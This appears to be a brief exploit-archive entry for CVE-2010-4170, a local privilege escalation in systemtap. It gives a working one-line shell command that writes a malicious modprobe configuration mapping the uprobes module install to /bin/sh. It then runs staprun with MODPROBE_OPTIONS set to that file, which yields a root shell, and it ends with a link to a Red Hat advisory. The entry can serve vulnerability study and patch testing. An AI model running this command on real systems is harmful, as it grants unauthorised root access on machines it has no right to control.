This code demonstrates a local privilege escalation vulnerability in systemtap.
fd7691a08020e68fc8cc7b5dd46bd1790de570b5d43ecd78597ce5d6e5cb8cad
CVE-2010-4170
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever
RHEL Advisory:
https://rhn.redhat.com/errata/RHSA-2010-0894.html